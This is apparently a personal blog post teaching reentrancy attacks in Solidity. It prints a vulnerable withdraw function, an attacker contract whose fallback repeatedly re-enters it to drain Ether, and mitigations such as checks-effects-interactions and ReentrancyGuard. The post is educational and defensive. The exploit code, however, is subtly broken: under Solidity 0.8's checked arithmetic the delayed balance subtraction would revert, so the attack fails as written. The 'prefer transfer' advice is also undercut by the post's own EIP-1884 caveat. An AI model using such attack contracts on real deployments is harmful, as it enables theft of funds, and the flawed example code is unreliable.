Cover photo

Reentrancy Attack

WTF is Reentrancy Attack

Reentrancy attacks are one of the common security issues that can occur in Solidity smart contracts. They exploit the fact that a function can be called multiple times before it finishes execution.
When a contract A calls a function in contract B, contract B can call back into contract A while it is still running. If contract A has not finished executing and is still holding state, contract B can potentially manipulate that state to gain an unfair advantage.
This can lead to various issues such as fund loss, unauthorized access, or even complete contract failure.

The most famous reentrancy attack occurred in 2016, resulting in the loss of 3.6 million Ether and leading to the Ethereum hard fork, creating Ethereum (ETH) and Ethereum Classic (ETC) also known as, The DAO Hack.

WETH Attack: First ever reentrancy attack was reported on Maker DAO Slack. It can tracked on github issue. It was an intentional one and a patch was later merged about it. You can find more details in web archive.

Just in 2021 and 2022 alone, more than a dozen attacks has happened around this. Rari Capital Expoit, Cream Finance, Fei Protocol, Ola Finance, Hyperbears. BurgerSwap, Revest Finance, PolyDex, and so on...

How does it Work

In a typical reentrancy attack, an attacker exploits the way Ethereum handles external calls and the sequence in which state changes and value transfers are performed. Here’s a simplified flow:

  1. Attack Contract Initiation: The attacker deploys a malicious contract.

  2. Initial Call: The attacker triggers a function in the vulnerable contract that sends Ether to the attacker's contract.

  3. Fallback Function: The attacker's contract contains a fallback function that calls the vulnerable contract again before the first function call finishes.

  4. Repeated Calls: The process repeats, allowing the attacker to drain funds from the vulnerable contract.

Example of a Vulnerable Contract

Here's a basic example of a vulnerable Solidity contract:

pragma solidity ^0.8.0;

contract VulnerableContract {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }
}

In this contract, the withdraw function updates the user's balance after sending Ether. This sequence creates a window for a reentrancy attack.

Exploiting the Vulnerability

The attacker's contract might look like this:

pragma solidity ^0.8.0;

import "./VulnerableContract.sol";

contract AttackContract {
    VulnerableContract public vulnerableContract;

    constructor(address _vulnerableContractAddress) {
        vulnerableContract = VulnerableContract(_vulnerableContractAddress);
    }

    fallback() external payable {
        if (address(vulnerableContract).balance >= 1 ether) {
            vulnerableContract.withdraw(1 ether);
        }
    }

    function attack() public payable {
        vulnerableContract.deposit{value: 1 ether}();
        vulnerableContract.withdraw(1 ether);
    }
}

How to Avoid Reentrancy Attacks

  1. Check-Effects-Interactions Pattern: Ensure all internal state changes occur before external calls. This pattern involves three steps:

    • Checks: Validate conditions.

    • Effects: Update internal state.

    • Interactions: Make external calls.

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
  2. Reentrancy Guards: Use the nonReentrant modifier from OpenZeppelin’s ReentrancyGuard contract to prevent reentrant calls.

    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    
    contract SecureContract is ReentrancyGuard {
        mapping(address => uint) public balances;
    
        function withdraw(uint _amount) public nonReentrant {
            require(balances[msg.sender] >= _amount);
            balances[msg.sender] -= _amount;
            (bool sent, ) = msg.sender.call{value: _amount}("");
            require(sent, "Failed to send Ether");
        }
    }
  3. Avoidcall Method: Prefer using transfer and send methods, which have a fixed gas limit and prevent reentrancy attacks. However, be aware of gas limit changes in EIP-1884.

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        payable(msg.sender).transfer(_amount);
    }

Best Practices

  1. Audit Regularly: Regularly audit smart contracts to identify and mitigate vulnerabilities.

  2. Use Established Libraries: Utilize well-known libraries and packages like OpenZeppelin for security functions.

  3. Test Thoroughly: Conduct extensive testing, including unit tests and fuzz testing, to uncover potential weaknesses.

  4. Limit External Calls: Minimize the number of external calls in your contract, especially those involving value transfers.

😄


Originally posted on my blog:

Ani through the lens logo
Subscribe to Ani through the lens and never miss a post.
#daily#security#solidity#smart-contracts#ethereum#blockchain